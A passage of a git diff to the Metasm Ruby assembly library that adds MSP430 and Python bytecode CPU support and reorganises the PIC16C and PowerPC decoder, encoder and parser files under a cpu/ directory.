di.bin_length += edata.ptr - before_ptr + + return if edata.ptr > edata.length + + di + end + + def decode_instr_interpret(di, addr) + if di.opcode.props[:setip] and di.opcode.name =~ /^j/ + delta = di.instruction.args.last.reduce + arg = Expression[[addr, :+, di.bin_length], :+, delta].reduce + di.instruction.args[-1] = Expression[arg] + end + + di + end + + def backtrace_binding + @backtrace_binding ||= init_backtrace_binding + end + + def init_backtrace_binding + @backtrace_binding ||= {} + + opcode_list.map { |ol| ol.name }.uniq.each { |op| + @backtrace_binding[op] ||= case op + when 'mov'; lambda { |di, a0, a1| { a0 => Expression[a1] }} + when 'cmp', 'test'; lambda { |di, *a| {} } # TODO + when 'add', 'adc' ; lambda { |di, a0, a1| { a0 => Expression[a0, :+, a1] } } + when 'sub', 'sbc'; lambda { |di, a0, a1| { a0 => Expression[a0, :-, a1] } } + when 'and'; lambda { |di, a0, a1| { a0 => Expression[a0, :&, a1] } } + when 'or'; lambda { |di, a0, a1| { a0 => Expression[a0, :|, a1] } } + when 'xor'; lambda { |di, a0, a1| { a0 => Expression[a0, :^, a1] } } + when 'push'; lambda { |di, a0| { Indirection[:sp, 2] => Expression[a0], + :sp => Expression[:sp, :-, 2] } } + when 'call'; lambda { |di, a0| { Indirection[:sp, 2] => Expression[di.next_addr], + :sp => Expression[:sp, :-, 2] } } + when 'pop'; lambda { |di, a0| { a0 => Expression[Indirection[:sp, 2]], + :sp => Expression[:sp, :+, 2] } } + when 'ret'; lambda { |di| { :sp => Expression[:sp, :+, 2] } } + when 'reti'; lambda { |di| { :sp => Expression[:sp, :+, 4] } } + when /^j/; lambda { |di, a0| {} } + end + } + + @backtrace_binding + end + + def get_backtrace_binding(di) + a = di.instruction.args.map { |arg| + case arg + when Reg; arg.symbolic + when Memref; arg.symbolic(di.address) + else arg + end + } + + if binding = backtrace_binding[di.opcode.basename] + bd = binding[di, *a] || {} + di.instruction.args.grep(Memref).each { |m| + next unless r = m.base and m.postincr + r = m.base.symbolic + bd[r] ||= Expression[r, :+, m.size] + } + bd + else + puts "unhandled instruction to backtrace: #{di}" if $VERBOSE + { :incomplete_binding => Expression[1] } + end + end + + def get_xrefs_x(dasm, di) + return [] if not di.opcode.props[:setip] + + case di.instruction.opname + when 'ret' + return [Indirection[:sp, 2, di.address]] + when 'reti' + return [Indirection[[:sp, :+, 2], 2, di.address]] + end + + # XXX add pc, 42 ? + val = di.instruction.args[0] + case val + when Reg; val = val.symbolic + when Memref; val = val.symbolic(di.address) + end + + [Expression[val]] + end + + def backtrace_is_function_return(expr, di=nil) + expr = Expression[expr].reduce_rec + expr.kind_of?(Indirection) and expr.len == 2 and expr.target == Expression[:sp] + end + + # updates the function backtrace_binding + # if the function is big and no specific register is given, do nothing (the binding will be lazily updated later, on demand) + def backtrace_update_function_binding(dasm, faddr, f, retaddrlist, *wantregs) + b = f.backtrace_binding + + bt_val = lambda { |r| + next if not retaddrlist + b[r] = Expression::Unknown + bt = [] + retaddrlist.each { |retaddr| + bt |= dasm.backtrace(Expression[r], retaddr, :include_start => true, + :snapshot_addr => faddr, :origin => retaddr) + } + if bt.length != 1 + b[r] = Expression::Unknown + else + b[r] = bt.first + end + } + + if not wantregs.empty? + wantregs.each(&bt_val) + else + bt_val[:sp] + end + + b + end + + def replace_instr_arg_immediate(i, old, new) + i.args.map! { |a| + case a + when Expression; a == old ? new : Expression[a.bind(old => new).reduce] + when Memref + a.base = (a.base == old ? new : Expression[a.base.bind(old => new).reduce]) if a.base.kind_of?(Expression) + a + else a + end + } + end +end +end diff --git a/lib/metasm/metasm/cpu/msp430/main.rb b/lib/metasm/metasm/cpu/msp430/main.rb new file mode 100644 index 0000000000..fba9fa6689 --- /dev/null +++ b/lib/metasm/metasm/cpu/msp430/main.rb @@ -0,0 +1,62 @@ +# This file is part of Metasm, the Ruby assembly manipulation suite +# Copyright (C) 2006-2010 Yoann GUILLOT +# +# Licence is LGPL, see LICENCE in the top-level directory + +require 'metasm/main' + +module Metasm + +class MSP430 < CPU + def initialize(e = :little) + super() + @endianness = e + @size = 16 + end + + class Reg + include Renderable + Sym = (4..15).inject(0 => :pc, 1 => :sp, 2 => :flags, 3 => :rzero) { |h, i| h.update i => "r#{i}".to_sym } + + attr_accessor :i + def initialize(i) ; @i = i end + def symbolic ; Sym[@i] end + def render ; [Sym[@i].to_s] end + def ==(o) ; o.class == self.class and o.i == @i end + end + + class Memref + attr_accessor :base, :offset, :size, :postincr + + def initialize(base, offset = 0, size = nil, postincr = false) + @base = base + @offset = Expression[offset] + @size = size + @postincr = postincr + end + + def symbolic(orig=nil) + r = @base.symbolic if @base + e = Expression[r, :+, @offset].reduce + Indirection[e, (@size || 1), orig] + end + + include Renderable + + def render + b = @base + b = @base.to_s + '++' if @base and @postincr + p = Expression[b, :+, @offset].reduce + Indirection[p, @size].render + end + end + + def init_opcode_list + init + end + + def dbg_register_list + @dbg_register_list ||= Reg::Sym.sort.transpose.last + end +end +end diff --git a/lib/metasm/metasm/cpu/msp430/opcodes.rb b/lib/metasm/metasm/cpu/msp430/opcodes.rb new file mode 100644 index 0000000000..a8825db93e --- /dev/null +++ b/lib/metasm/metasm/cpu/msp430/opcodes.rb @@ -0,0 +1,101 @@ +# This file is part of Metasm, the Ruby assembly manipulation suite +# Copyright (C) 2006-2010 Yoann GUILLOT +# +# Licence is LGPL, see LICENCE in the top-level directory + +require 'metasm/cpu/msp430/main' + +module Metasm +class MSP430 + def addop(name, bin, *args) + o = Opcode.new name, bin + + args.each { |a| + o.args << a if @valid_args[a] + o.props[a] = true if @valid_props[a] + o.fields[a] = [@fields_mask[a], @fields_shift[a]] if @fields_mask[a] + } + + @opcode_list << o + end + + def init + @opcode_list = [] + + @fields_mask = { + :as => 3, # adressing mode + :ad => 1, # adressing mode + :rd => 0xf, + :rs => 0xf, + :joff => 0x3ff, # signed offset for jumps + } + @fields_shift = { + :as => 4, + :ad => 7, + :rd => 0, + :rs => 8, + :joff => 0, + } + @valid_args = { :r_pc => true, :rd => true, :rs => true, :joff => true } + @valid_props = { :setip => true, :stopexec => true, :saveip => true, :byte => true } + + # https://en.wikipedia.org/wiki/TI_MSP430 + + addop_macro1 'rrc', 0, :byte + addop_macro1 'swpb', 1 + addop_macro1 'rra', 2, :byte + addop_macro1 'sxt', 3 + addop_macro1 'push', 4, :byte + addop_macro1 'call', 5, :setip, :stopexec, :saveip + + addop 'reti', 0b000100_110_0000000 + + addop_macro2 'jnz', 0 + addop_macro2 'jz', 1 + addop_macro2 'jnc', 2 + addop_macro2 'jc', 3 + addop_macro2 'jb', 4 # 'jn' jump if negative => jl unsigned ? + addop_macro2 'jge', 5 + addop_macro2 'jl', 6 + addop_macro2 'jmp', 7, :stopexec + + addop 'ret', 0x4130, :setip, :stopexec # mov pc, [sp++] + addop 'pop', 0x4130, :rd, :ad # mov rd, [sp++] + + addop_macro3 'mov', 4 + addop_macro3 'add', 5 + addop_macro3 'adc', 6 # 'addc' + addop_macro3 'sbc', 7 + addop_macro3 'sub', 8 + addop_macro3 'cmp', 9 + addop_macro3 'dadd',10 # decimal add with carry + addop_macro3 'test',11 # 'bit' + addop_macro3 'andn',12 # 'bic' + addop_macro3 'or', 13 # 'bis' + addop_macro3 'xor', 14 + addop_macro3 'and', 15 + end + + def addop_macro1(name, bin, *props) + if props.delete :byte + addop_byte name, (0b000100 << 10) | (bin << 7), :as, :rd, *props + else + addop name, (0b000100 << 10) | (bin << 7), :as, :rd, *props + end + end + + def addop_macro2(name, bin, *props) + addop name, (0b001 << 13) | (bin << 10), :joff, :setip, *props + end + + def addop_macro3(name, bin, *props) + addop_byte name, (bin << 12), :r_pc, :ad, :as, :rs, :setip, :stopexec # dst == pc + addop_byte name, (bin << 12), :rd, :ad, :as, :rs + end + + def addop_byte(name, bin, *props) + addop name, bin, *props + addop name + '.b', bin | (1 << 6), :byte, *props + end +end +end diff --git a/lib/metasm/metasm/pic16c/decode.rb b/lib/metasm/metasm/cpu/pic16c/decode.rb similarity index 92% rename from lib/metasm/metasm/pic16c/decode.rb rename to lib/metasm/metasm/cpu/pic16c/decode.rb index ec3daa4428..9c8ccfb1e1 100644 --- a/lib/metasm/metasm/pic16c/decode.rb +++ b/lib/metasm/metasm/cpu/pic16c/decode.rb @@ -4,7 +4,7 @@ # Licence is LGPL, see LICENCE in the top-level directory -require 'metasm/pic16c/opcodes' +require 'metasm/cpu/pic16c/opcodes' require 'metasm/decode' module Metasm @@ -17,22 +17,21 @@ class Pic16c } op.bin_mask.map! { |v| 255 ^ v } end - + def build_bin_lookaside # sets up a hash byte value => list of opcodes that may match # opcode.bin_mask is built here lookaside = Array.new(256) { [] } @opcode_list.each { |op| - + build_opcode_bin_mask op - + b = op.bin[0] msk = op.bin_mask[0] - - + for i in b..(b | (255^msk)) ext if i & msk != b & msk - + lookaside[i] << op end } diff --git a/lib/metasm/metasm/pic16c/main.rb b/lib/metasm/metasm/cpu/pic16c/main.rb similarity index 100% rename from lib/metasm/metasm/pic16c/main.rb rename to lib/metasm/metasm/cpu/pic16c/main.rb diff --git a/lib/metasm/metasm/pic16c/opcodes.rb b/lib/metasm/metasm/cpu/pic16c/opcodes.rb similarity index 98% rename from lib/metasm/metasm/pic16c/opcodes.rb rename to lib/metasm/metasm/cpu/pic16c/opcodes.rb index cfc96d07cd..3112af715f 100644 --- a/lib/metasm/metasm/pic16c/opcodes.rb +++ b/lib/metasm/metasm/cpu/pic16c/opcodes.rb @@ -4,7 +4,7 @@ # Licence is LGPL, see LICENCE in the top-level directory -require 'metasm/pic16c/main' +require 'metasm/cpu/pic16c/main' module Metasm class Pic16c diff --git a/lib/metasm/metasm/mips.rb b/lib/metasm/metasm/cpu/ppc.rb similarity index 60% rename from lib/metasm/metasm/mips.rb rename to lib/metasm/metasm/cpu/ppc.rb index 139c6721f6..16f77e59a8 100644 --- a/lib/metasm/metasm/mips.rb +++ b/lib/metasm/metasm/cpu/ppc.rb @@ -5,7 +5,7 @@ require 'metasm/main' -require 'metasm/mips/parse' -require 'metasm/mips/encode' -require 'metasm/mips/decode' -require 'metasm/mips/render' +require 'metasm/cpu/ppc/parse' +require 'metasm/cpu/ppc/encode' +require 'metasm/cpu/ppc/decode' +require 'metasm/cpu/ppc/decompile' diff --git a/lib/metasm/metasm/ppc/decode.rb b/lib/metasm/metasm/cpu/ppc/decode.rb similarity index 91% rename from lib/metasm/metasm/ppc/decode.rb rename to lib/metasm/metasm/cpu/ppc/decode.rb index df70a7b470..923c15265c 100644 --- a/lib/metasm/metasm/ppc/decode.rb +++ b/lib/metasm/metasm/cpu/ppc/decode.rb @@ -4,7 +4,7 @@ # Licence is LGPL, see LICENCE in the top-level directory -require 'metasm/ppc/opcodes' +require 'metasm/cpu/ppc/opcodes' require 'metasm/decode' module Metasm @@ -13,8 +13,8 @@ class PowerPC # bit = 0 if can be mutated by an field value, 1 if fixed by opcode return if not op.bin.kind_of? Integer op.bin_mask = 0 - op.args.each { |f| - op.bin_mask |= @fields_mask[f] << @fields_shift[f] + op.fields.each { |k, (m, s)| + op.bin_mask |= m << s } op.bin_mask = 0xffff_ffff ^ op.bin_mask end @@ -37,7 +37,7 @@ class PowerPC end def decode_findopcode(edata) - return if edata.ptr >= edata.data.length + return if edata.ptr+4 > edata.length di = DecodedInstruction.new(self) val = edata.decode_imm(:u32, @endianness) edata.ptr -= 4 @@ -67,14 +67,20 @@ class PowerPC when :fra, :frb, :frc, :frs, :frt; FPR.new field_val[a] when :ra_i16, :ra_i16s, :ra_i16q i = field_val[{:ra_i16 => :d, :ra_i16s => :ds, :ra_i16q => :dq}[a]] - Memref.new GPR.new(field_val[:ra]), Expression[i] - when :bd, :d, :ds, :dq, :si, :ui, :li, :sh, :ma, :mb, :me, :ma_, :mb_, :me_; Expression[field_val[a]] - when :ign_bo_zzz, :ign_bo_z, :ign_bo_at, :ign_bo_at2, :ign_bi, :aa, :lk, :oe, :rc, :l; next + Memref.new GPR.new(field_val[:ra]), Expression[i] + when :bd, :d, :ds, :dq, :si, :ui, :li, :sh, :mb, :me, :mb_, :me_, :u; Expression[field_val[a]] + when :ba, :bf, :bfa, :bt; CR.new field_val[a] + when :bb, :bh, :flm, :fxm, :l_, :l__, :lev, :nb, :sh_, :spr, :sr, :tbr, :th, :to + puts "PPC.decode: unsupported argument #{a.inspect}" if $VERBOSE # TODO + Expression[field_val[a]] else raise SyntaxError, "Internal error: invalid argument #{a} in #{op.name}" end } + di.bin_length += edata.ptr - before_ptr + return if edata.ptr > edata.length + decode_aliases(di.instruction) di @@ -84,8 +90,8 @@ class PowerPC case i.opname when /^n?or\.?$/ if i.args[1] == i.args[2] - i.args.pop - i.opname = {'or' => 'mr', 'or.' => 'mr.', 'nor' => 'not', 'nor.' => 'not.'}[i.opname] + i.args.pop + i.opname = {'or' => 'mr', 'or.' => 'mr.', 'nor' => 'not', 'nor.' => 'not.'}[i.opname] end when /^addi/ if a = i.args[2].reduce and a.kind_of? Integer and a < 0 @@ -107,7 +113,7 @@ class PowerPC # else just add the offset +off+ of the instruction + its length (off may be an Expression) # assumes edata.ptr points just after the instruction (as decode_instr_op left it) # do not call twice on the same di ! - def decode_instr_interpret(di, addr) + def decode_instr_interpret(di, addr) if di.opcode.props[:setip] and di.instruction.args.last.kind_of? Expression and di.opcode.name[0] != ?t and di.opcode.name[-1] != ?a arg = Expression[addr, :+, di.instruction.args.last].reduce di.instruction.args[-1] = Expression[arg] @@ -191,11 +197,11 @@ class PowerPC ptr = m.pointer.externals.grep(Symbol).first ret[ptr] = m.pointer if ptr != a0 ret - } + } when 'lwz'; lambda { |di, a0, m| { a0 => Expression[m] } } when 'stwu'; lambda { |di, a0, m| { m => Expression[a0], m.pointer.externals.grep(Symbol).first => m.pointer } - } + } when 'stw'; lambda { |di, a0, m| { m => Expression[a0] } } when 'rlwinm'; lambda { |di, a0, a1, sh, mb, me| mb, me = mb.reduce, me.reduce diff --git a/lib/metasm/metasm/ppc/decompile.rb b/lib/metasm/metasm/cpu/ppc/decompile.rb similarity index 98% rename from lib/metasm/metasm/ppc/decompile.rb rename to lib/metasm/metasm/cpu/ppc/decompile.rb index 7f0cece11f..c042903e29 100644 --- a/lib/metasm/metasm/ppc/decompile.rb +++ b/lib/metasm/metasm/cpu/ppc/decompile.rb @@ -4,7 +4,7 @@ # Licence is LGPL, see LICENCE in the top-level directory -require 'metasm/ppc/main' +require 'metasm/cpu/ppc/main' module Metasm class PowerPC @@ -25,7 +25,7 @@ class PowerPC # returns { blockaddr => [list of vars that are needed by a following block] } def decompile_func_finddeps(dcmp, blocks, func) deps_r = {} ; deps_w = {} ; deps_to = {} - deps_subfunc = {} # things read/written by subfuncs + deps_subfunc = {} # things read/written by subfuncs # find read/writes by each block blocks.each { |b, to| @@ -43,7 +43,7 @@ class PowerPC end } #a << :eax if di.opcode.name == 'ret' # standard ABI - + deps_r[b] |= a.map { |ee| Expression[ee].externals.grep(::Symbol) }.flatten - [:unknown] - deps_w[b] deps_w[b] |= w.map { |ee| Expression[ee].externals.grep(::Symbol) }.flatten - [:unknown] } diff --git a/lib/metasm/metasm/ppc/encode.rb b/lib/metasm/metasm/cpu/ppc/encode.rb similarity index 94% rename from lib/metasm/metasm/ppc/encode.rb rename to lib/metasm/metasm/cpu/ppc/encode.rb index e0008d8d9c..aa2c9a69c4 100644 --- a/lib/metasm/metasm/ppc/encode.rb +++ b/lib/metasm/metasm/cpu/ppc/encode.rb @@ -4,7 +4,7 @@ # Licence is LGPL, see LICENCE in the top-level directory -require 'metasm/ppc/opcodes' +require 'metasm/cpu/ppc/opcodes' require 'metasm/encode' module Metasm @@ -31,7 +31,7 @@ class PowerPC op.args.zip(instr.args).each { |sym, arg| case sym - when :rs, :rt, :rd + when :rs, :rt, :rd, :ba, :bf, :bfa, :bt set_field[sym, arg.i] when :ft set_field[sym, arg.i] diff --git a/lib/metasm/metasm/ppc/main.rb b/lib/metasm/metasm/cpu/ppc/main.rb similarity index 80% rename from lib/metasm/metasm/ppc/main.rb rename to lib/metasm/metasm/cpu/ppc/main.rb index cfcfb70cbb..b66385557a 100644 --- a/lib/metasm/metasm/ppc/main.rb +++ b/lib/metasm/metasm/cpu/ppc/main.rb @@ -11,10 +11,15 @@ module Metasm class PowerPC < CPU class Reg include Renderable + class << self + attr_accessor :s_to_i, :i_to_s + end def ==(o) o.class == self.class and (not respond_to?(:i) or o.i == i) end + + def render ; [self.class.i_to_s[@i]] ; end end # general purpose reg @@ -24,17 +29,14 @@ class PowerPC < CPU @i = i end - Sym = (0..31).map { |i| "r#{i}".to_sym } - Sym[1] = :sp + @s_to_i = (0..31).inject({}) { |h, i| h.update((i == 1 ? 'sp' : "r#{i}") => i) } + @i_to_s = @s_to_i.invert + Sym = @s_to_i.sort.transpose.last def symbolic ; Sym[@i] end - def render ; [@i == 1 ? 'sp' : "r#@i"] end end # special purpose reg class SPR < Reg - class << self - attr_accessor :s_to_i, :i_to_s - end @s_to_i = {'xer' => 1, 'lr' => 8, 'ctr' => 9, 'dec' => 22, 'srr0' => 26, 'srr1' => 27, 'sprg0' => 272, 'sprg1' => 273, 'sprg2' => 274, 'sprg3' => 275, 'pvr' => 287} @i_to_s = @s_to_i.invert @@ -50,14 +52,15 @@ class PowerPC < CPU end # floating point - class FPR + class FPR < Reg attr_accessor :i def initialize(i) @i = i end - include Renderable - def render ; ["fp#@i"] end + @s_to_i = (0..31).inject({}) { |h, i| h.update "fp#{i}" => i } + @i_to_s = @s_to_i.invert + Sym = @s_to_i.sort.transpose.last end # machine state reg @@ -73,8 +76,10 @@ class PowerPC < CPU @i = i end + @s_to_i = (0..31).inject({}) { |h, i| h.update "cr#{i}" => i } + @i_to_s = @s_to_i.invert + Sym = @s_to_i.sort.transpose.last def symbolic ; "cr#@i".to_sym end - def render ; ["cr#@i"] end end # indirection : reg+reg or reg+16b_off @@ -89,13 +94,13 @@ class PowerPC < CPU b = @base.symbolic b = nil if b == :r0 # XXX is it true ? o = @offset - o = o.symbolic if o.kind_of? Reg + o = o.symbolic if o.kind_of?(Reg) Indirection[Expression[b, :+, o].reduce, 4, orig] end include Renderable def render - if @offset.kind_of? Reg + if @offset.kind_of?(Reg) ['(', @base, ' + ', @offset, ')'] else [@offset, '(', @base, ')'] diff --git a/lib/metasm/metasm/ppc/opcodes.rb b/lib/metasm/metasm/cpu/ppc/opcodes.rb similarity index 97% rename from lib/metasm/metasm/ppc/opcodes.rb rename to lib/metasm/metasm/cpu/ppc/opcodes.rb index da5396b762..1e03e77b9e 100644 --- a/lib/metasm/metasm/ppc/opcodes.rb +++ b/lib/metasm/metasm/cpu/ppc/opcodes.rb @@ -4,14 +4,17 @@ # Licence is LGPL, see LICENCE in the top-level directory -require 'metasm/ppc/main' +require 'metasm/cpu/ppc/main' module Metasm class PowerPC def addop(name, bin, *argprops) - o = Opcode.new name, bin - o.args.concat(argprops & @fields_mask.keys) - (argprops & @valid_props).each { |p| o.props[p] = true } + o = Opcode.new name, bin + argprops.each { |a| + o.args << a if @valid_args[a] + o.fields[a] = [@fields_mask[a], @fields_shift[a]] if @fields_mask[a] + o.props[a] = true if @valid_props[a] + } @opcode_list << o end @@ -113,6 +116,9 @@ class PowerPC :tbr => 0x3FF, :th => 15, :to => 31, :u => 15, :ui => 0xFFFF, :ign_bo_zzz => 0b101111111, :ign_bo_z => 1, :ign_bo_at => 3, :ign_bo_at2 => 0b100111111 + @valid_args = @fields_mask.dup + [:ign_bo_zzz, :ign_bo_z, :ign_bo_at, :ign_bo_at2, :aa, :lk, :oe, :rc, :l].each { |k| @valid_args.delete k } + @fields_shift[:ra_i16] = @fields_shift[:ra_i16s] = @fields_shift[:ra_i16q] = 0 @fields_mask[:ra_i16] = (@fields_mask[:d] << @fields_shift[:d]) | (@fields_mask[:ra] << @fields_shift[:ra]) @fields_mask[:ra_i16s] = (@fields_mask[:ds] << @fields_shift[:d]) | (@fields_mask[:ra] << @fields_shift[:ra]) @@ -123,7 +129,7 @@ class PowerPC addop_branchcond 'b', 0x40000000, :bd addop_branchcond 'b', 0x4C000020, :lr addop_branchcond 'b', 0x4C000420, :ctr - + addop 'sc', 0x44000002, :lev addop 'crand', 0x4C000202, :bt, :ba, :bb addop 'crxor', 0x4C000182, :bt, :ba, :bb diff --git a/lib/metasm/metasm/cpu/ppc/parse.rb b/lib/metasm/metasm/cpu/ppc/parse.rb new file mode 100644 index 0000000000..e534a79c31 --- /dev/null +++ b/lib/metasm/metasm/cpu/ppc/parse.rb @@ -0,0 +1,55 @@ +# This file is part of Metasm, the Ruby assembly manipulation suite +# Copyright (C) 2006-2009 Yoann GUILLOT +# +# Licence is LGPL, see LICENCE in the top-level directory + + +require 'metasm/cpu/ppc/opcodes' +require 'metasm/parse' + +module Metasm +class PowerPC +# TODO + def parse_arg_valid?(op, sym, arg) + case sym + when :ra, :rb, :rs, :rt; arg.kind_of?(GPR) + when :fra, :frb, :frc, :frs, :frt; arg.kind_of?(FPR) + when :ra_i16, :ra_i16s, :ra_i16q; arg.kind_of?(Memref) + when :bd, :d, :ds, :dq, :si, :ui, :li, :sh, :mb, :me, :mb_, :me_, :u; arg.kind_of?(Expression) + when :ba, :bf, :bfa, :bt; arg.kind_of?(CR) + when :ign_bo_zzz, :ign_bo_z, :ign_bo_at, :ign_bo_at2, :aa, :lk, :oe, :rc, :l; # ? + when :bb, :bh, :flm, :fxm, :l_, :l__, :lev, :nb, :sh_, :spr, :sr, :tbr, :th, :to + # TODO + else raise "internal error: mips arg #{sym.inspect}" + end + end + + def parse_argument(pgm) + pgm.skip_space + return if not tok = pgm.readtok + if tok.type == :string + return GPR.new(GPR.s_to_i[tok.raw]) if GPR.s_to_i[tok.raw] + return SPR.new(SPR.s_to_i[tok.raw]) if SPR.s_to_i[tok.raw] + return FPR.new(FPR.s_to_i[tok.raw]) if FPR.s_to_i[tok.raw] + return CR.new(CR.s_to_i[tok.raw]) if CR.s_to_i[tok.raw] + return MSR.new if tok.raw == 'msr' + end + pgm.unreadtok tok + arg = Expression.parse pgm + pgm.skip_space + # check memory indirection: 'off(base reg)' # XXX scaled index ? + if arg and pgm.nexttok and pgm.nexttok.type == :punct and pgm.nexttok.raw == '(' + pgm.readtok + pgm.skip_space_eol + ntok = pgm.readtok + raise tok, "Invalid base #{ntok}" unless ntok and ntok.type == :string and GPR.s_to_i[ntok.raw] + base = GPR.new GPR.s_to_i[ntok.raw] + pgm.skip_space_eol + ntok = pgm.readtok + raise tok, "Invalid memory reference, ')' expected" if not ntok or ntok.type != :punct or ntok.raw != ')' + arg = Memref.new base, arg + end + arg + end +end +end diff --git a/lib/metasm/metasm/cpu/python.rb b/lib/metasm/metasm/cpu/python.rb new file mode 100644 index 0000000000..9ef1a00da4 --- /dev/null +++ b/lib/metasm/metasm/cpu/python.rb @@ -0,0 +1,8 @@ +# This file is part of Metasm, the Ruby assembly manipulation suite +# Copyright (C) 2006-2010 Yoann GUILLOT +# +# Licence is LGPL, see LICENCE in the top-level directory + + +require 'metasm/main' +require 'metasm/cpu/python/decode' diff --git a/lib/metasm/metasm/cpu/python/decode.rb b/lib/metasm/metasm/cpu/python/decode.rb new file mode 100644 index 0000000000..12bd7a2e0d --- /dev/null +++ b/lib/metasm/metasm/cpu/python/decode.rb @@ -0,0 +1,136 @@ +# This file is part of Metasm, the Ruby assembly manipulation suite +# Copyright (C) 2006-2010 Yoann GUILLOT +# +# Licence is LGPL, see LICENCE in the top-level directory + +require 'metasm/cpu/python/opcodes' +require 'metasm/decode' + +module Metasm +class Python + def build_bin_lookaside + opcode_list.inject({}) { |la, op| la.update op.bin => op } + end + + def decode_findopcode(edata) + di = DecodedInstruction.new(self) + + byte = edata.decode_imm(:u8, :little) + + di if di.opcode = @bin_lookaside[byte] + end + + def decode_instr_op(edata, di) + di.bin_length = 1 + + di.instruction.opname = di.opcode.name + + di.opcode.args.each { |a| + case a + when :cmp + di.bin_length += 2 + v = edata.decode_imm(:i16, @endianness) + di.instruction.args << (CMP_OP[v] || Expression[v]) + when :i16 + di.bin_length += 2 + di.instruction.args << Expression[edata.decode_imm(:i16, @endianness)] + when :u8 + di.bin_length += 1 + di.instruction.args << Expression[edata.decode_imm(:u8, @endianness)] + else + raise "unsupported arg #{a.inspect}" + end + } + + return if edata.ptr > edata.length + + di + end + + def decode_instr_interpret(di, addr) + case di.opcode.name + when 'LOAD_CONST' + if c = prog_code(addr) + cst = c[:consts][di.instruction.args.first.reduce] + if cst.kind_of? Hash and cst[:type] == :code + di.add_comment "lambda #{Expression[cst[:fileoff]]}" + else + di.add_comment cst.inspect + end + end + when 'LOAD_NAME', 'LOAD_ATTR', 'LOAD_GLOBAL', 'STORE_NAME', 'IMPORT_NAME', 'LOAD_FAST' + if c = prog_code(addr) + di.add_comment c[:names][di.instruction.args.first.reduce].inspect + end + end + di + end + + def backtrace_binding + @backtrace_binding ||= init_backtrace_binding + end + + def init_backtrace_binding + @backtrace_binding ||= {} + + opcode_list.each { |op| + binding = case op + when 'nop'; lambda { |*a| {} } + end + @backtrace_binding[op] ||= binding if binding + } + + @backtrace_binding + end + + def get_backtrace_binding(di) + a = di.instruction.args.map { |arg| + case arg + when Var; arg.symbolic + else arg + end + } + + if binding = backtrace_binding[di.opcode.basename] + binding[di, *a] + else + puts "unhandled instruction to backtrace: #{di}" if $VERBOSE + { :incomplete_binding => Expression[1] } + end + end + + def get_xrefs_x(dasm, di) + return [] if not di.opcode.props[:setip] + + arg = case di.opcode.name + when 'JUMP_FORWARD', 'FOR_ITER' + # relative offset + di.instruction.args.last.reduce + di.next_addr + when 'CALL_FUNCTION_VAR' + 'lol' + when /CALL/ + :unknown + else + # absolute offset from :code start + off = di.instruction.args.last.reduce + if c = prog_code(di) + off += c[:fileoff] + end + off + end + + [Expression[(arg.kind_of?(Var) ? arg.symbolic : arg)]] + end + + def prog_code(addr) + addr = addr.address if addr.kind_of? DecodedInstruction + @last_prog_code ||= nil + return @last_prog_code if @last_prog_code and @last_prog_code[:fileoff] <= addr and @last_prog_code[:fileoff] + @last_prog_code[:code].length > addr + @last_prog_code = @program.code_at_off(addr) if @program + end + + def backtrace_is_function_return(expr, di=nil) + #Expression[expr].reduce == Expression['wtf'] + end +end +end diff --git a/lib/metasm/metasm/cpu/python/main.rb b/lib/metasm/metasm/cpu/python/main.rb new file mode 100644 index 0000000000..f5918a4233 --- /dev/null +++ b/lib/metasm/metasm/cpu/python/main.rb @@ -0,0 +1,36 @@ +# This file is part of Metasm, the Ruby assembly manipulation suite +# Copyright (C) 2006-2010 Yoann GUILLOT +# +# Licence is LGPL, see LICENCE in the top-level directory + +require 'metasm/main' + +module Metasm +class Python < CPU + def initialize(prog = nil) + super() + @program = prog + @endianness = (prog.respond_to?(:endianness) ? prog.endianness : :little) + @size = (prog.respond_to?(:size) ? prog.size : 32) + end + + class Var + include Renderable + + attr_accessor :i + + def initialize(i); @i = i end + + def ==(o) + o.class == self.class and o.i == i + end + + def symbolic; "var_#{@i}".to_sym end + + def render + ["var_#@i"] + end + + end +end +end diff --git a/lib/metasm/metasm/cpu/python/opcodes.rb b/lib/metasm/metasm/cpu/python/opcodes.rb new file mode 100644 index 0000000000..1e55d2fb95 --- /dev/null +++ b/lib/metasm/metasm/cpu/python/opcodes.rb @@ -0,0 +1,180 @@ +# This file is part of Metasm, the Ruby assembly manipulation suite +# Copyright (C) 2006-2010 Yoann GUILLOT +# +# Licence is LGPL, see LICENCE in the top-level directory + +require 'metasm/cpu/python/main' + +module Metasm +class Python + CMP_OP = %w[< <= == != > >= in not_in is is_not exch] + + def addop(name, bin, *args) + o = Opcode.new(name) + o.bin = bin + + args.each { |a| + o.args << a if @valid_args[a] + o.props[a] = true if @valid_props[a] + } + o.args << :i16 if o.bin >= 90 and o.props.empty? # HAVE_ARGUMENT + + @opcode_list << o + end + + def init_opcode_list + @opcode_list = [] + + @valid_args[:u8] = true + @valid_args[:i16] = true + @valid_args[:cmp] = true + + addop 'STOP_CODE', 0, :stopexec + addop 'POP_TOP', 1 + addop 'ROT_TWO', 2 + addop 'ROT_THREE', 3 + addop 'DUP_TOP', 4 + addop 'ROT_FOUR', 5 + addop 'NOP', 9 + + addop 'UNARY_POSITIVE', 10 + addop 'UNARY_NEGATIVE', 11 + addop 'UNARY_NOT', 12 + addop 'UNARY_CONVERT', 13 + + addop 'UNARY_INVERT', 15 + + addop 'BINARY_POWER', 19 + + addop 'BINARY_MULTIPLY', 20 + addop 'BINARY_DIVIDE', 21 + addop 'BINARY_MODULO', 22 + addop 'BINARY_ADD', 23 + addop 'BINARY_SUBTRACT', 24 + addop 'BINARY_SUBSCR', 25 + addop 'BINARY_FLOOR_DIVIDE', 26 + addop 'BINARY_TRUE_DIVIDE', 27 + addop 'INPLACE_FLOOR_DIVIDE', 28 + addop 'INPLACE_TRUE_DIVIDE', 29 + + addop 'SLICE', 30 + addop 'SLICE_1', 31 + addop 'SLICE_2', 32 + addop 'SLICE_3', 33 + + addop 'STORE_SLICE', 40 + addop 'STORE_SLICE_1', 41 + addop 'STORE_SLICE_2', 42 + addop 'STORE_SLICE_3', 43 + + addop 'DELETE_SLICE', 50 + addop 'DELETE_SLICE_1', 51 + addop 'DELETE_SLICE_2', 52 + addop 'DELETE_SLICE_3', 53 + + addop 'STORE_MAP', 54 + addop 'INPLACE_ADD', 55 + addop 'INPLACE_SUBTRACT', 56 + addop 'INPLACE_MULTIPLY', 57 + addop 'INPLACE_DIVIDE', 58 + addop 'INPLACE_MODULO', 59 + addop 'STORE_SUBSCR', 60 + addop 'DELETE_SUBSCR', 61 + + addop 'BINARY_LSHIFT', 62 + addop 'BINARY_RSHIFT', 63 + addop 'BINARY_AND', 64 + addop 'BINARY_XOR', 65 + addop 